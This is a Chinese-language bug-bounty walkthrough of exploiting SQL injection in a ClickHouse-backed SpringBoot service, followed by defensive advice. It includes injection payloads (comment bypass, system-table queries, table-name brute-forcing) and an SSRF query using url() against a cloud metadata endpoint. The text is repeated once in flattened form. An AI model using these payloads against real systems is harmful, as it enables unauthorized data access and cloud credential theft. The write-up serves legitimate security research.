SRC挖掘之“捡”洞系列
字数 1358 2025-09-01 11:26:03

ClickHouse数据库安全漏洞挖掘实战指南

1. 前言

本指南详细记录了一个针对ClickHouse数据库的安全漏洞挖掘过程,涵盖了从初始发现到最终利用的全流程。ClickHouse是一种开源的列式数据库管理系统,主要用于在线分析处理(OLAP),在大数据分析领域应用广泛。

2. 初始发现阶段

2.1 测试环境识别

  • 目标系统为前后端分离架构,基于SpringBoot搭建
  • 发现/env端点泄露,但无敏感信息
  • 发现Swagger UI界面,但接口需要本地访问(127.0.0.1)

2.2 关键发现

  • 通过接口测试发现数据库报错,确认使用ClickHouse数据库
  • 报错信息示例:Table apaaslog.tmp doesn't exist
  • 传统SQL注入工具(sqlmap)无法直接利用该漏洞

3. ClickHouse数据库特性

3.1 与MySQL的区别

  • ClickHouse是列式存储数据库,MySQL是行式存储
  • 语法差异较大,传统SQL注入技术可能不适用
  • 系统表结构不同,如system.tablessystem.clusters

3.2 关键语法特点

  • 查询表名语法示例:
    SELECT * from default.actors  -- 表存在
    SELECT * from default.actor1  -- 表不存在
    
  • 注释语法需要分号:;--
  • URL函数可用于SSRF:url('http://example.com', CSV, 'column1 String')

4. 漏洞挖掘过程

4.1 SQL注入确认

  1. 通过参数logstore触发数据库报错
  2. 重构原始SQL语句:
    SELECT * from apaaslog.tmp 
    WHERE 1 = 1 
    AND appid = '1' 
    AND tenantname != '' 
    AND receive_date IN (today(), yesterday()) 
    ORDER BY tenantname ASC
    

4.2 表名爆破技术

  1. 发现系统将点(.)前的内容识别为数据库名
    • 输入test.logDatabase test doesn't exist
    • 输入tmpTable apaaslog.tmp doesn't exist
  2. 使用系统表system.tables测试:
    SELECT DISTINCT tenantcode, tenantname 
    FROM system.tables 
    WHERE 1 = 1 
    AND appid = '1' 
    AND tenantname != '' 
    AND receive_date IN (today(), yesterday()) 
    ORDER BY tenantname ASC
    
  3. 发现日志表可能使用_log后缀,将点改为下划线爆破

4.3 注入利用技术

  1. 使用ClickHouse注释语法绕过条件:
    ;-- 注释掉后续WHERE条件
    
  2. 任意SQL查询示例:
    SELECT * FROM valid_table; 
    SELECT * FROM system.databases; -- 查询所有数据库
    

5. 高级利用技术

5.1 SSRF利用

  1. 通过URL函数实现SSRF:
    SELECT * FROM url('http://metadata.tencentyun.com/latest/meta-data/', 
    CSV, 'column1 String, column2 UInt32')
    
  2. 可用于云环境元数据窃取

5.2 集群信息收集

  1. 查询集群信息:
    SELECT * FROM system.clusters
    
  2. ClickHouse默认使用8123端口进行HTTP查询:
    http://IP:8123?query=SQL语句
    

5.3 自动化工具利用

  1. 确认注入点后,可调整sqlmap参数进行利用
  2. 需注意ClickHouse特有的语法和函数

6. 防御建议

  1. 避免直接拼接用户输入到SQL查询中
  2. 使用参数化查询或ORM框架
  3. 限制数据库用户权限,避免使用高权限账户
  4. 禁用或保护Swagger UI等开发接口
  5. 定期检查并修复信息泄露端点(如/env)

7. 参考资源

  1. ClickHouse官方文档
  2. 在线测试环境:ClickHouse Playground
  3. 技术文章:ClickHouse与MySQL的区别

8. 总结

本案例展示了针对非传统数据库(ClickHouse)的安全测试方法,强调了对特定数据库特性的理解和利用。关键点包括:

  • 通过报错信息识别数据库类型
  • 针对特定语法调整测试方法
  • 利用系统表和特有函数扩大攻击面
  • 结合传统SQL注入技术与数据库特有功能

这种测试方法可以推广到其他类型的非关系型数据库,核心在于理解目标数据库的特有语法和功能。

ClickHouse数据库安全漏洞挖掘实战指南 1. 前言 本指南详细记录了一个针对ClickHouse数据库的安全漏洞挖掘过程,涵盖了从初始发现到最终利用的全流程。ClickHouse是一种开源的列式数据库管理系统,主要用于在线分析处理(OLAP),在大数据分析领域应用广泛。 2. 初始发现阶段 2.1 测试环境识别 目标系统为前后端分离架构,基于SpringBoot搭建 发现 /env 端点泄露,但无敏感信息 发现Swagger UI界面,但接口需要本地访问(127.0.0.1) 2.2 关键发现 通过接口测试发现数据库报错,确认使用ClickHouse数据库 报错信息示例: Table apaaslog.tmp doesn't exist 传统SQL注入工具(sqlmap)无法直接利用该漏洞 3. ClickHouse数据库特性 3.1 与MySQL的区别 ClickHouse是列式存储数据库,MySQL是行式存储 语法差异较大,传统SQL注入技术可能不适用 系统表结构不同,如 system.tables 、 system.clusters 3.2 关键语法特点 查询表名语法示例: 注释语法需要分号: ;-- URL函数可用于SSRF: url('http://example.com', CSV, 'column1 String') 4. 漏洞挖掘过程 4.1 SQL注入确认 通过参数 logstore 触发数据库报错 重构原始SQL语句: 4.2 表名爆破技术 发现系统将点(.)前的内容识别为数据库名 输入 test.log → Database test doesn't exist 输入 tmp → Table apaaslog.tmp doesn't exist 使用系统表 system.tables 测试: 发现日志表可能使用 _log 后缀,将点改为下划线爆破 4.3 注入利用技术 使用ClickHouse注释语法绕过条件: 任意SQL查询示例: 5. 高级利用技术 5.1 SSRF利用 通过URL函数实现SSRF: 可用于云环境元数据窃取 5.2 集群信息收集 查询集群信息: ClickHouse默认使用8123端口进行HTTP查询: 5.3 自动化工具利用 确认注入点后,可调整sqlmap参数进行利用 需注意ClickHouse特有的语法和函数 6. 防御建议 避免直接拼接用户输入到SQL查询中 使用参数化查询或ORM框架 限制数据库用户权限,避免使用高权限账户 禁用或保护Swagger UI等开发接口 定期检查并修复信息泄露端点(如/env) 7. 参考资源 ClickHouse官方文档 在线测试环境: ClickHouse Playground 技术文章: ClickHouse与MySQL的区别 8. 总结 本案例展示了针对非传统数据库(ClickHouse)的安全测试方法,强调了对特定数据库特性的理解和利用。关键点包括: 通过报错信息识别数据库类型 针对特定语法调整测试方法 利用系统表和特有函数扩大攻击面 结合传统SQL注入技术与数据库特有功能 这种测试方法可以推广到其他类型的非关系型数据库,核心在于理解目标数据库的特有语法和功能。